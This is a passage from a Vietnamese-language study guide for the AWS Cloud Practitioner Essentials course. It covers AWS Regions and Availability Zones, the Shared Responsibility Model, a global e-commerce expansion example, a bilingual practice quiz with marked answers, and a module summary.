khả năng phục hồi vào mọi lớp để không có một lỗi đơn lẻ nào có thể làm sập toàn bộ hệ thống. Đặc điểm: - 🛡️ Resilience - Khả năng phục hồi - 🔀 Multiple component failures - Có thể chịu được nhiều lỗi thành phần - 🏗️ Built-in redundancy - Dự phòng được tích hợp sẵn ## AWS Regions và Availability Zones Thiết kế cho high availability và fault tolerance là một phần lý do tại sao AWS hoạt động trong Regions, được đặt ở các khu vực khác nhau trên thế giới. ### AWS Regions (Các khu vực AWS) AWS Regions là các vị trí vật lý trên khắp thế giới chứa các nhóm data centers. Các nhóm data centers này được gọi là Availability Zones. Mỗi AWS Region bao gồm tối thiểu ba Availability Zones riêng biệt về mặt vật lý trong một khu vực địa lý. Đặc điểm của AWS Regions: - 🌍 Geographic distribution - Phân bổ địa lý trên toàn cầu - 📍 Close to customers - Được xây dựng gần khách hàng AWS nhất có thể - 🏙️ Examples: Paris, Tokyo, São Paulo, Dublin, Ohio, và nhiều nơi khác - 🔒 Isolation - Mỗi Region hoạt động độc lập Lợi ích: - ⚡ Low latency - Độ trễ thấp cho người dùng trong khu vực - 🌐 Compliance - Đáp ứng yêu cầu về data residency (dữ liệu phải ở trong nước) - 💰 Cost optimization - Tối ưu chi phí bằng cách chọn region gần người dùng ### Availability Zones (AZs) Availability Zones bao gồm một hoặc nhiều data centers với nguồn điện dự phòng, mạng và kết nối. Regions và Availability Zones được thiết kế để cung cấp quyền truy cập có độ trễ thấp, chịu lỗi cho các dịch vụ cho người dùng trong một khu vực nhất định. Đặc điểm của Availability Zones: - 🏢 One or more data centers - Một hoặc nhiều data centers - ⚡ Redundant power - Nguồn điện dự phòng - 🌐 Redundant networking - Mạng dự phòng - 🔌 Redundant connectivity - Kết nối dự phòng - 📍 Physical separation - Tách biệt về mặt vật lý (không xây dựng ngay cạnh nhau) Tại sao không xây AZs ngay cạnh nhau? Nếu có điều gì đó như thiên tai xảy ra, bạn có thể mất kết nối với mọi thứ trong AZ đó. Bằng cách tách biệt chúng, AWS đảm bảo rằng một thảm họa không thể ảnh hưởng đến nhiều AZs cùng một lúc. Cấu trúc: [code] AWS Region ├── Availability Zone 1 (AZ-01) │ ├── Data Center 1 (DC-01) │ └── Data Center 2 (DC-02) ├── Availability Zone 2 (AZ-02) │ ├── Data Center 3 (DC-03) │ └── Data Center 4 (DC-04) └── Availability Zone 3 (AZ-03) ├── Data Center 7 (DC-07) └── Data Center 8 (DC-08) [/code] ## Đạt được High Availability với AWS Global Infrastructure Hạ tầng AWS được thiết kế với high availability và fault tolerance trong tâm trí. Availability Zones (AZs) được cấu hình như các tài nguyên cô lập, và mỗi AZ được trang bị nguồn điện, mạng và kết nối độc lập. ### Khuyến nghị: Phân bổ tài nguyên trên nhiều AZs Khuyến nghị quan trọng: Phân bổ tài nguyên của bạn trên nhiều AZs. Bằng cách đó, nếu một AZ gặp sự cố, các ứng dụng kinh doanh của bạn sẽ tiếp tục hoạt động mà không bị gián đoạn. [… phần còn lại đã lược bớt] ============================================================================ # M01.04 - The AWS Shared Responsibility Model URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/shared-responsibility-model Source: docs/07-aws-cloud-practitioner-essentials/01-introduction-to-the-cloud/04.shared-responsibility-model.md Description: Tìm hiểu về AWS Shared Responsibility Model - mô hình trách nhiệm chia sẻ giữa AWS và khách hàng. Phân biệt rõ trách nhiệm của khách hàng, trách nhiệm của AWS, và trách nhiệm được chia sẻ trong AWS Cloud. Tags: aws, cloud-computing, aws-cloud-practitioner, aws-security, shared-responsibility-model, cloud-security, aws-certification, security-best-practices Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/shared-responsibility-model AWS Shared Responsibility Model là một khái niệm được thiết kế để giúp AWS và khách hàng làm việc cùng nhau để tạo ra một môi trường cloud an toàn và chức năng. Trong bài học này, bạn sẽ tìm hiểu về các thành phần của AWS Shared Responsibility Model. Với sự hiểu biết rõ ràng về trách nhiệm trong cloud computing, các tổ chức có thể điều hướng tốt hơn các phức tạp của bảo mật cloud. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Mô tả và phân biệt giữa trách nhiệm của khách hàng, trách nhiệm của AWS, và trách nhiệm được chia sẻ trong AWS Cloud - ✅ Mô tả các thành phần của AWS Shared Responsibility Model ## Ai chịu trách nhiệm về bảo mật? Khi nói đến việc bảo mật doanh nghiệp của bạn trên AWS, điều quan trọng là đặt câu hỏi: Ai cuối cùng chịu trách nhiệm về bảo mật? - A: Bạn, khách hàng? - B: AWS? Và câu trả lời đúng là: Cả hai! Cả hai đều chịu trách nhiệm cuối cùng để đảm bảo rằng workloads của bạn được bảo mật. Đây được gọi là AWS Shared Responsibility Model (Mô hình Trách nhiệm Chia sẻ của AWS). ## Ví dụ dễ hiểu: Bảo mật ngôi nhà Hãy nghĩ về việc bảo mật một ngôi nhà. Người xây dựng đã xây dựng ngôi nhà với bốn bức tường và một cánh cửa. Trách nhiệm của họ là đảm bảo các bức tường chắc chắn và cánh cửa vững chắc. Trách nhiệm của bạn với tư cách là chủ nhà là đóng và khóa những cánh cửa đó. Và trên AWS cũng đơn giản như vậy! ## Security OF the Cloud vs Security IN the Cloud Một cách hữu ích để nghĩ về nó là: - 🏗️ AWS chịu trách nhiệm về Security OF the Cloud (Bảo mật CỦA cloud) - 🔒 Khách hàng chịu trách nhiệm về Security IN the Cloud (Bảo mật TRONG cloud) ## AWS Responsibilities (Trách nhiệm của AWS) AWS chịu trách nhiệm bảo vệ hạ tầng chạy tất cả các dịch vụ được cung cấp trong AWS Cloud. Hạ tầng này bao gồm phần cứng, phần mềm, mạng và các cơ sở vật chất chạy các dịch vụ AWS Cloud. ### Security OF the Cloud AWS chịu trách nhiệm cho các lớp vật lý, mạng và hypervisor: #### 1. Physical Layer (Lớp vật lý) Lớp vật lý chính xác là những gì nó có vẻ: các thực tế vật lý của một máy tính. Truy cập vào phần cứng phải được bảo mật bằng: - 🔐 Locks on doors - Khóa cửa - 📋 Access control lists - Danh sách kiểm soát truy cập - 👤 Privilege separation - Phân tách đặc quyền - 🛡️ Và nhiều hơn nữa... #### 2. Network Layer (Lớp mạng) Lớp mạng có các biện pháp bảo vệ riêng để đảm bảo cách ly các workloads của khách hàng AWS khác nhau. #### 3. Hypervisor Layer (Lớp ảo hóa) Lớp hypervisor virtualization cũng có các biện pháp bảo vệ riêng để đảm bảo cách ly. Tóm lại, AWS chịu trách nhiệm cho: - 🖥️ Software cho compute, storage, database, và networking - 🏢 Hardware và AWS Global Infrastructure ## Customer Responsibilities (Trách nhiệm của Khách hàng) Khách hàng chịu trách nhiệm quản lý các yêu cầu bảo mật cho dữ liệu của họ, bao gồm dữ liệu nào họ lưu trữ trên AWS và ai có quyền truy cập vào dữ liệu đó. Khách hàng cũng kiểm soát cách quyền truy cập vào dữ liệu được cấp, quản lý và thu hồi. ### Security IN the Cloud #### 1. Operating System (Hệ điều hành) Bạn chịu 100% trách nhiệm về hệ điều hành của bạn. - 🔑 AWS không có back door vào hệ thống của bạn - 🔐 Bạn và chỉ bạn có encryption key duy nhất để đăng nhập vào OS này hoặc tạo bất kỳ tài khoản người dùng nào - 🏠 Giống như một công ty xây dựng sẽ không giữ bản sao chìa khóa cửa trước của bạn, AWS không thể vào hệ điều hành của bạn Điều này có nghĩa là: - 👥 Operations team của bạn chịu trách nhiệm giữ OS được patch - 📢 Nếu AWS phát hiện có một số lỗ hổng mới trong phiên bản hệ điều hành của bạn, chúng tôi chắc chắn có thể thông báo cho chủ tài khoản của bạn, nhưng chúng tôi không thể triển khai patch - 🔒 Công ty xây dựng có thể cài đặt khóa chất lượng cao để bảo mật ngôi nhà của bạn, nhưng họ sẽ không đến khóa cửa cho bạn mỗi lần bạn rời đi #### 2. Applications (Ứng dụng) Bạn sở hữu và bảo mật các ứng dụng bạn đang chạy. - 💻 Bạn chịu trách nhiệm về: - Cấu hình ứng dụng - Bảo mật ứng dụng - Cập nhật và patches cho ứng dụng #### 3. Data (Dữ liệu) Đây là lĩnh vực của bạn để kiểm soát. Đôi khi bạn có thể muốn dữ liệu của mình mở cho mọi người xem, như hình ảnh trên website bán lẻ. Những lần khác, như ngân hàng hoặc chăm sóc sức khỏe, thì không như vậy. AWS cung cấp cho mọi người các điều khiển để: - 👥 Mở nó cho một số cá nhân được ủy quyền - 🌐 Mở cho tất cả mọi người - 🔒 Chỉ cho một người trong các điều kiện cụ thể - 🚫 Hoặc khóa nó để không ai có thể truy cập Ngoài ra, bạn có khả năng: - 🔐 Encrypt dữ liệu của bạn - Bằng cách đó, ngay cả khi bạn vô tình để cửa trước mở, tất cả những gì mọi người sẽ thấy là nội dung được mã hóa không thể đọc được #### 4. Client-side Encryption (Mã hóa phía khách hàng) Khách hàng cũng chịu trách nhiệm về client-side encryption (mã hóa phía khách hàng). ## Shared Responsibilities (Trách nhiệm được chia sẻ) Tùy thuộc vào dịch vụ được sử dụng, trách nhiệm có thể thay đổi giữa khách hàng và AWS. Các thành phần như: - 🔐 Server-side encryption (Mã hóa phía server) - 🌐 Network traffic protection (Bảo vệ lưu lượng mạng) - 🖥️ Platform and application management (Quản lý platform và ứng dụng) - ⚙️ OS, network, and firewall configuration (Cấu hình OS, mạng và firewall) Varies by service - Thay đổi theo dịch vụ về việc ai chịu trách nhiệm cho các mục này. Ví dụ: - EC2 (Elastic Compute Cloud): Bạn chịu trách nhiệm về OS, network, firewall - RDS (Relational Database Service): AWS quản lý OS, bạn quản lý database configuration - Lambda: AWS quản lý OS và platform, bạn chỉ quản lý code Khi bạn tìm hiểu thêm về các loại dịch vụ khác nhau, bạn sẽ thấy các ví dụ cụ thể về cách các yếu tố này được chia sẻ giữa khách hàng và AWS. ## Tóm tắt: AWS Shared Responsibility Model ### ✅ Security OF the Cloud (AWS chịu trách nhiệm) - 🏢 Hardware - Phần cứng - 🌐 AWS Global Infrastructure - Hạ tầng toàn cầu AWS - 💻 Software cho compute, storage, database, networking - 🔐 Physical security - Bảo mật vật lý - 🌐 Network infrastructure - Hạ tầng mạng - 🔄 Hypervisor - Lớp ảo hóa ### ✅ Security IN the Cloud (Khách hàng chịu trách nhiệm) [… phần còn lại đã lược bớt] ============================================================================ # M01.05 - Applying Cloud Concepts to Real Life Use Cases URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/applying-cloud-concepts-to-real-life-use-cases Source: docs/07-aws-cloud-practitioner-essentials/01-introduction-to-the-cloud/05.applying-cloud-concepts-to-real-life-use-cases.md Description: Khám phá cách các khái niệm cloud cơ bản như AWS Global Infrastructure và AWS Shared Responsibility Model hoạt động cùng nhau để tạo ra các giải pháp kinh doanh thực tế. Tìm hiểu qua ví dụ về công ty e-commerce mở rộng toàn cầu. Tags: aws, cloud-computing, aws-cloud-practitioner, cloud-use-cases, aws-infrastructure, shared-responsibility-model, real-world-scenarios, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/applying-cloud-concepts-to-real-life-use-cases Bạn đã học về một số khái niệm cloud cơ bản, như cách cloud computing hoạt động, những điều cơ bản về AWS Global Infrastructure, và AWS Shared Responsibility Model. Điều quan trọng là xây dựng kiến thức về cloud computing từng phần một. Tuy nhiên, trong thực tế, các khái niệm bạn học trong khóa đào tạo này hoạt động cùng nhau, không tách biệt. Trong bài học này, bạn sẽ khám phá ví dụ đầu tiên về Cloud in Real Life (Cloud trong Cuộc sống Thực tế), lắp ráp cách các khái niệm cloud trừu tượng hoạt động cùng nhau để thúc đẩy đổi mới và hiệu quả cho doanh nghiệp của bạn. ## Mục tiêu học tập Sau khi hoàn thành bài học này, bạn sẽ có thể: - ✅ Giải thích cách các khái niệm cloud cơ bản, như AWS Global Infrastructure và AWS Shared Responsibility Model, hoạt động cùng nhau để tạo ra các giải pháp kinh doanh thực tế - ✅ Áp dụng các khái niệm đã học vào các tình huống thực tế ## Giới thiệu: Cloud in Real Life Thay vì chỉ nói về các tính năng và định nghĩa, chúng ta sẽ suy nghĩ về cách các doanh nghiệp hoặc cá nhân có thể tiếp cận các vấn đề thực tế. Điều này rất quan trọng vì khóa học này dành cho bất kỳ ai đang cố gắng tìm hiểu về AWS, bao gồm cả người mới bắt đầu. Chúng ta đã cố ý đơn giản hóa nhiều khái niệm AWS để làm cho chúng dễ hiểu cho người mới bắt đầu. Với các phần Cloud in Real Life này, chúng ta sẽ nói về cách các khái niệm cơ bản này biến thành các giải pháp thực tế cho doanh nghiệp. ## Ví dụ: Công ty E-commerce Mở rộng Toàn cầu Hãy lấy hai khái niệm chúng ta đã thảo luận trong phần này: AWS Global Infrastructure và AWS Shared Responsibility Model. Trong thực tế, các khái niệm này chắc chắn hoạt động cùng nhau và không phải là các ý tưởng tách biệt. ### Tình huống Một công ty e-commerce có trụ sở tại Seattle, Washington, Hoa Kỳ. Công ty muốn mở rộng hoạt động ra toàn cầu. Tuy nhiên, hạ tầng computing càng xa khách hàng của họ, độ trễ (latency) sẽ càng dài. Vấn đề: - 🌍 Khách hàng ở châu Âu và châu Á phải chờ lâu để tải trang web - ⏱️ Độ trễ cao ảnh hưởng đến trải nghiệm người dùng - 📉 Doanh số có thể giảm do trải nghiệm người dùng kém Giải pháp: Công ty quyết định mở rộng sang các AWS Regions toàn cầu để tiếp cận tốt hơn khách hàng toàn cầu của họ. ## Lợi ích của AWS Global Infrastructure ### 1. Giảm Latency (Độ trễ) Một điều cần ghi nhớ là hạ tầng càng xa khách hàng của bạn, độ trễ sẽ càng dài cho các yêu cầu của khách hàng đó. Giải pháp: Họ có thể chọn AWS Regions để host ứng dụng của họ gần hơn với cơ sở khách hàng của họ. Ví dụ: - 🇪🇺 Nếu họ có cơ sở khách hàng đáng kể ở châu Âu và châu Á, họ có thể chọn triển khai ứng dụng của họ trong các Regions như: - eu-west-1 ở Ireland - ap-southeast-1 ở Singapore Kết quả: - ⚡ Độ trễ giảm đáng kể cho khách hàng ở châu Âu và châu Á - 🚀 Trải nghiệm người dùng tốt hơn - 📈 Tăng doanh số ### 2. Dễ dàng tiếp cận khán giả toàn cầu Việc tiếp cận khán giả toàn cầu trở nên dễ dàng hơn nhiều khi bạn tận dụng các tài nguyên hiện có như AWS Regions. Nền tảng đã được thiết lập sẵn. Lợi ích đặc biệt cho Startups: - 💰 Không cần đầu tư vốn lớn trước để tiếp cận khán giả toàn cầu - 🎯 Điều này thực sự có thể giúp san bằng sân chơi một chút cho các startup và công ty nhỏ - 👥 Bạn có thể đạt được nhiều điều với một team nhỏ bằng cách tận dụng cloud ### 3. Xây dựng Resiliency (Khả năng phục hồi) Việc xây dựng khả năng phục hồi vào ứng dụng cũng trở nên đơn giản hơn nhiều. Cho công ty e-commerce: Họ có thể bắt đầu bằng cách sử dụng ít nhất hai Availability Zones (AZs). Họ triển khai cùng một cấu hình trong mỗi AZ, và nếu một AZ gặp sự cố, họ có thể failover sang AZ khác. Đây được gọi là: - 🛡️ Designing for high availability - Thiết kế cho tính sẵn sàng cao - 🔄 Fault tolerance - Khả năng chịu lỗi ## Chi tiết Triển khai: Mở rộng Toàn cầu ### Mở rộng Toàn cầu Lần 1: Ireland Region: eu-west-1 ở Ireland Cấu hình: - 🏢 Triển khai tài nguyên đến Region eu-west-1 ở Ireland - 🔄 Triển khai trong nhiều Regions tăng tính sẵn sàng cao - 🛡️ Công ty tăng fault-tolerance và high availability thêm nữa bằng cách triển khai đến hai Availability Zones trong Region này Lợi ích: - ⚡ Giảm độ trễ cho khách hàng châu Âu - 🔄 High availability với 2 AZs - 🛡️ Fault tolerance - nếu một AZ gặp sự cố, AZ khác vẫn hoạt động Về Bảo mật: Công ty không cần lo lắng về việc bảo mật data center ở Ireland vì bảo mật hạ tầng vật lý là trách nhiệm của AWS. Thay vào đó, công ty có thể tập trung vào việc bảo mật và mã hóa dữ liệu của họ trong các tài nguyên cloud của họ. ### Mở rộng Toàn cầu Lần 2: Singapore Region: ap-southeast-1 ở Singapore Lý do: Công ty có cơ sở khách hàng đáng kể ở châu Á. Kết quả: - 🌏 Thay vì phải thiết lập hạ tầng vật lý ở quy mô quốc tế, điều này có thể mất vài tháng hoặc vài năm, công ty đã sử dụng AWS để triển khai hoạt động toàn cầu trong vòng vài phút. Lợi ích: - ⚡ Giảm độ trễ cho khách hàng châu Á - 🚀 Triển khai nhanh chóng - chỉ trong vài phút - 💰 Không cần đầu tư lớn vào hạ tầng vật lý ## AWS Shared Responsibility Model trong Thực tế ### Security OF the Cloud (AWS chịu trách nhiệm) AWS chịu trách nhiệm cho: - 🏢 Physical infrastructure - Hạ tầng vật lý ở Ireland và Singapore - 🔒 Data center security - Bảo mật data center - ⚡ Power, cooling, networking - Điện, làm mát, mạng - 🌐 Global infrastructure - Hạ tầng toàn cầu Lợi ích cho công ty: Công ty không cần lo lắng về việc quyết định loại khóa nào để đặt trên cửa tại data center. AWS đã lo việc đó! ### Security IN the Cloud (Công ty chịu trách nhiệm) Công ty chịu trách nhiệm cho: - 💾 Securing their data - Bảo mật dữ liệu của họ - 🔐 Managing access - Quản lý quyền truy cập đến tài nguyên AWS của họ - 🛡️ Application security - Đảm bảo ứng dụng của họ được cấu hình bảo mật - 📋 Compliance - Tuân thủ các quy định về thông tin thẻ tín dụng (ví dụ: PCI DSS) Ví dụ cụ thể: Thay vì phải quyết định loại khóa nào để đặt trên cửa tại data center, công ty có thể tập trung vào các vấn đề cấp cao hơn như: - 🔒 Mã hóa dữ liệu khách hàng - 👥 Quản lý quyền truy cập của nhân viên - 🛡️ Cấu hình bảo mật ứng dụng - 📊 Tuân thủ các quy định về bảo mật ## Các Khái niệm Hoạt động Cùng nhau [… phần còn lại đã lược bớt] ============================================================================ # M01.06 - Module 1 Assessment URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/module-1-assessment Source: docs/07-aws-cloud-practitioner-essentials/01-introduction-to-the-cloud/06.module-1-assessment.md Description: Bài kiểm tra Module 1 - Introduction to the Cloud. Bạn phải đạt 80% trở lên để vượt qua module này. Bạn có thể làm lại không giới hạn số lần. Tags: aws, cloud-computing, aws-cloud-practitioner, assessment, quiz, aws-certification, module-1 Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/module-1-assessment Info: 📝 Thông tin Bài kiểm tra Yêu cầu: Bạn phải đạt 80% trở lên (7/8 câu đúng) để vượt qua module này. Số lần làm lại: Không giới hạn Chúc may mắn! 🍀 ## Question 01/08 ### English 🇺🇸 A government agency wants to maintain complete control over its IT infrastructure, but plans to use AWS Cloud services for specific applications. Which deployment type is BEST for this situation? - ❌ On-premises - ✅ Hybrid ← Correct - ❌ Compliance - ❌ Cloud Explanation: Hybrid deployment is a solution where the agency can maintain control over on-premises systems while using cloud services for other applications. ### Tiếng Việt 🇻🇳 Một cơ quan chính phủ muốn duy trì quyền kiểm soát hoàn toàn đối với hạ tầng IT của mình, nhưng có kế hoạch sử dụng các dịch vụ AWS Cloud cho các ứng dụng cụ thể. Loại triển khai nào TỐT NHẤT cho tình huống này? - ❌ On-premises (Tại chỗ) - ✅ Hybrid (Lai) ← Đúng - ❌ Compliance (Tuân thủ) - ❌ Cloud (Điện toán đám mây) Giải thích: Hybrid deployment là một giải pháp nơi cơ quan có thể duy trì quyền kiểm soát đối với các hệ thống on-premises trong khi sử dụng dịch vụ cloud cho các ứng dụng khác. ## Question 02/08 ### English 🇺🇸 You are a software developer working for a company that is planning to migrate its existing application to the cloud. Your team lead has asked you to explain the client-server model to the rest of the team and how cloud computing fits into this model. Which statement BEST describes the client-server model and its relationship to cloud computing? - ❌ In the client-server model, the client is responsible for securing their data, and the server is responsible for securing the physical hardware. Cloud computing replaces the client-server model. - ❌ The client-server model is outdated and no longer used in modern applications. Cloud computing has replaced it completely. - ❌ In the client-server model, the server only handles data storage, and the client performs all processing tasks. Cloud computing provides data storage, but not processing power. - ✅ In the client-server model, the client sends requests to the server, which processes the requests and sends back responses. Cloud computing provides scalable server resources that can be accessed over the internet. ← Correct Explanation: This answer accurately describes the client-server model where the client sends requests to the server. The server processes these requests and returns the appropriate responses. Cloud computing provides scalable and flexible server resources that can be accessed over the internet. ### Tiếng Việt 🇻🇳 Bạn là một developer đang làm việc cho một công ty có kế hoạch migrate ứng dụng hiện có lên cloud. Team lead của bạn yêu cầu bạn giải thích mô hình client-server cho phần còn lại của team và cách cloud computing phù hợp với mô hình này. Câu nào MÔ TẢ TỐT NHẤT mô hình client-server và mối quan hệ của nó với cloud computing? - ❌ Trong mô hình client-server, client chịu trách nhiệm bảo mật dữ liệu của họ, và server chịu trách nhiệm bảo mật phần cứng vật lý. Cloud computing thay thế mô hình client-server. - ❌ Mô hình client-server đã lỗi thời và không còn được sử dụng trong các ứng dụng hiện đại. Cloud computing đã thay thế nó hoàn toàn. - ❌ Trong mô hình client-server, server chỉ xử lý lưu trữ dữ liệu, và client thực hiện tất cả các tác vụ xử lý. Cloud computing cung cấp lưu trữ dữ liệu, nhưng không cung cấp sức mạnh xử lý. - ✅ Trong mô hình client-server, client gửi requests đến server, server xử lý các requests và gửi lại responses. Cloud computing cung cấp các tài nguyên server có thể mở rộng có thể được truy cập qua internet. ← Đúng Giải thích: Câu trả lời này mô tả chính xác mô hình client-server nơi client gửi requests đến server. Server xử lý các requests này và trả về các responses phù hợp. Cloud computing cung cấp các tài nguyên server có thể mở rộng và linh hoạt có thể được truy cập qua internet. ## Question 03/08 ### English 🇺🇸 You work for a sports apparel company that is expanding its operations to global customers. The company wants to deploy resources to multiple AWS locations to achieve high availability. You are tasked with explaining the basics of AWS Global Infrastructure to your chief operating officer (COO). The COO needs help understanding the difference between AWS Regions and Availability Zones. Which statement BEST describes the difference between AWS Regions and Availability Zones? - ❌ An Availability Zone spans multiple physical locations across Regions, and Regions are located across the world. - ✅ A Region is a geographical location that contains three or more Availability Zones. An Availability Zone is a distinct location within a Region that contains one or more discrete data centers. ← Correct - ❌ An Availability Zone is a geographical location that contains three or more Regions. A Region is a distinct location within an Availability Zone that contains one or more discrete data centers. - ❌ A Region is a single data center, and an Availability Zone consists of multiple data centers. Explanation: A Region is a physical location around the world that contains multiple, isolated data centers. An Availability Zone consists of one or more discrete data centers, each with independent power, networking, and connectivity. ### Tiếng Việt 🇻🇳 Bạn làm việc cho một công ty quần áo thể thao đang mở rộng hoạt động đến khách hàng toàn cầu. Công ty muốn triển khai tài nguyên đến nhiều vị trí AWS để đạt được tính sẵn sàng cao. Bạn được giao nhiệm vụ giải thích những điều cơ bản về AWS Global Infrastructure cho giám đốc điều hành (COO) của bạn. COO cần giúp hiểu sự khác biệt giữa AWS Regions và Availability Zones. Câu nào MÔ TẢ TỐT NHẤT sự khác biệt giữa AWS Regions và Availability Zones? [… phần còn lại đã lược bớt] ============================================================================ # M01.07 - Module 1 Summary URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/module-1-summary Source: docs/07-aws-cloud-practitioner-essentials/01-introduction-to-the-cloud/07.module-1-summary.md Description: Tổng kết Module 1 - Introduction to the Cloud. Ôn tập lại các khái niệm cơ bản về cloud computing, AWS Global Infrastructure, và AWS Shared Responsibility Model. Tìm hiểu các bước tiếp theo và tài nguyên học tập. Tags: aws, cloud-computing, aws-cloud-practitioner, module-summary, recap, next-steps, aws-certification Note: Nội dung dưới đây đã được rút gọn để giữ dung lượng file. Bản đầy đủ tại https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/introduction-to-the-cloud/module-1-summary Chúc mừng bạn đã hoàn thành Module 1 - Introduction to the Cloud! 🎉 Trong module này, bạn đã học về các khái niệm cơ bản của cloud computing. Bạn đã khám phá định nghĩa và lợi ích của cloud, được giới thiệu về AWS Global Infrastructure, và tìm hiểu về AWS Shared Responsibility Model để làm rõ sự phân chia trách nhiệm giữa AWS và khách hàng. ## 📚 Tổng kết nội dung đã học ### 1. Introduction to the Cloud Định nghĩa Cloud Computing: > Cloud Computing là việc cung cấp theo nhu cầu (on-demand delivery) các tài nguyên IT qua internet với mô hình định giá trả theo sử dụng (pay-as-you-go pricing). Các thành phần chính: - ⚡ On-demand delivery - Cung cấp theo nhu cầu - 💻 IT resources - Tài nguyên IT (servers, storage, databases, networking, AI/ML) - 🌐 Over the internet - Qua internet - 💰 Pay-as-you-go pricing - Định giá trả theo sử dụng Các loại Cloud Deployment: - ☁️ Cloud - Triển khai hoàn toàn trên cloud - 🏢 On-premises - Triển khai tại chỗ - 🔀 Hybrid - Kết hợp cloud và on-premises ### 2. Benefits of the AWS Cloud 6 lợi ích chính: 1. 💰 Trade fixed expense for variable expense - Chuyển đổi chi phí cố định sang chi phí biến đổi 2. 📈 Benefit from massive economies of scale - Hưởng lợi từ quy mô kinh tế lớn 3. 🎯 Stop guessing capacity - Không cần đoán trước dung lượng 4. ⚡ Increase speed and agility - Tăng tốc độ và tính linh hoạt 5. 🏢 Stop spending money to run and maintain data centers - Không cần chi tiền vận hành và bảo trì data centers 6. 🌍 Go global in minutes - Mở rộng toàn cầu trong vài phút ### 3. AWS Global Infrastructure Cấu trúc: - 🌍 AWS Regions - Vị trí địa lý trên khắp thế giới - Mỗi Region chứa tối thiểu 3 Availability Zones - Được thiết kế để gần khách hàng nhất có thể - 🏢 Availability Zones (AZs) - Vị trí riêng biệt trong một Region - Một hoặc nhiều data centers - Có nguồn điện, mạng và kết nối dự phòng - Tách biệt về mặt vật lý để tránh single point of failure Lợi ích: - ⚡ Low latency - Độ trễ thấp - 🛡️ High availability - Tính sẵn sàng cao - 🔄 Fault tolerance - Khả năng chịu lỗi ### 4. AWS Shared Responsibility Model Security OF the Cloud (AWS chịu trách nhiệm): - 🏢 Physical infrastructure (Hạ tầng vật lý) - 💻 Software cho compute, storage, database, networking - 🌐 AWS Global Infrastructure - 🔒 Physical security của data centers Security IN the Cloud (Khách hàng chịu trách nhiệm): - 💾 Customer data (Dữ liệu khách hàng) - 🔐 Client-side encryption (Mã hóa phía khách hàng) - 🖥️ Operating System (Hệ điều hành) - 💻 Applications (Ứng dụng) - 🔑 Access control (Kiểm soát truy cập) Shared Responsibilities (Thay đổi theo dịch vụ): - 🔐 Server-side encryption - 🌐 Network traffic protection - 🖥️ Platform and application management - ⚙️ OS, network, and firewall configuration ### 5. Applying Cloud Concepts to Real Life Ví dụ: Công ty E-commerce mở rộng toàn cầu - 🇺🇸 Base: Seattle, Washington - 🇮🇪 Expansion 1: Ireland (eu-west-1) - 2 AZs - 🇸🇬 Expansion 2: Singapore (ap-southeast-1) Kết quả: - ⚡ Giảm latency cho khách hàng toàn cầu - 🛡️ High availability với nhiều AZs - 🔄 Fault tolerance với nhiều Regions - 🔒 Security với Shared Responsibility Model ## 🎯 Điểm quan trọng cần nhớ ### Cloud Computing Definition [code] Cloud Computing = On-demand delivery of IT resources over the internet with pay-as-you-go pricing [/code] ### AWS Global Infrastructure Hierarchy [code] AWS Cloud └── Regions (Geographic locations) └── Availability Zones (Isolated locations) └── Data Centers (Physical facilities) [/code] ### Shared Responsibility Model [code] Security OF the Cloud = AWS Responsibility Security IN the Cloud = Customer Responsibility [/code] ## 🚀 Bước tiếp theo Bây giờ bạn đã nắm vững các khái niệm cơ bản về cloud computing, đã đến lúc tiếp tục với các module tiếp theo: ### Module 2: Compute in the Cloud - Tìm hiểu về các dịch vụ compute của AWS - Amazon EC2 và các loại instances - Container services - Serverless computing ### Module 3: Exploring Compute Services - Chi tiết về các dịch vụ compute - Use cases và best practices ### Module 4: Going Global - Content delivery networks (CDN) - Edge locations - Global distribution ### Module 5: Networking - VPC (Virtual Private Cloud) - Networking components - Connectivity options ### Module 6: Storage - Amazon S3 - EBS, EFS - Storage classes và lifecycle policies ### Module 7: Databases - Relational databases (RDS) - NoSQL databases (DynamoDB) - Database migration tools ### Module 8: AI/ML and Data Analytics - AWS AI/ML services - Data analytics services - ETL pipelines ### Module 9: Security - AWS security services - Identity and Access Management (IAM) - Security best practices ### Module 10: Monitoring, Compliance and Governance - CloudWatch - Compliance services - Governance tools ### Module 11: Pricing and Support - AWS pricing models - Cost optimization - AWS Support plans ### Module 12: Migrating to the AWS Cloud - Migration strategies - Migration tools - Best practices ### Module 13: Well-Architected Solutions - AWS Well-Architected Framework - Six pillars - Best practices ## 📖 Tài nguyên học tập Để tìm hiểu thêm về nội dung được đề cập trong module này, hãy tham khảo các tài nguyên sau: ### 1. What is Cloud Computing? Link: https://aws.amazon.com/what-is-cloud-computing/ (https://aws.amazon.com/what-is-cloud-computing/?nc1=f_cc) Mô tả: Tìm hiểu thêm về những điều cơ bản của cloud computing, bao gồm: - Định nghĩa cloud computing - Các loại cloud computing (IaaS, PaaS, SaaS) - Lợi ích của cloud computing - Use cases và ví dụ thực tế ### 2. AWS Shared Responsibility Model Link: https://aws.amazon.com/compliance/shared-responsibility-model/ Mô tả: Tìm hiểu thêm về AWS Shared Responsibility Model, bao gồm: - Security OF the Cloud vs Security IN the Cloud - Trách nhiệm của AWS và khách hàng - Cách áp dụng trong thực tế - Best practices ### 3. Regions and Availability Zones Link: https://aws.amazon.com/about-aws/global-infrastructure/regions_az/ [… phần còn lại đã lược bớt] ============================================================================ # M02.01 - Introduction to Amazon EC2 URL: https://tiennhm.io.vn/docs/aws-cloud-practitioner-essentials/compute-in-the-cloud/introduction-to-amazon-ec2 Source: docs/07-aws-cloud-practitioner-essentials/02-compute-in-the-cloud/01.introduction-to-amazon-ec2.md Description: Tìm hiểu về 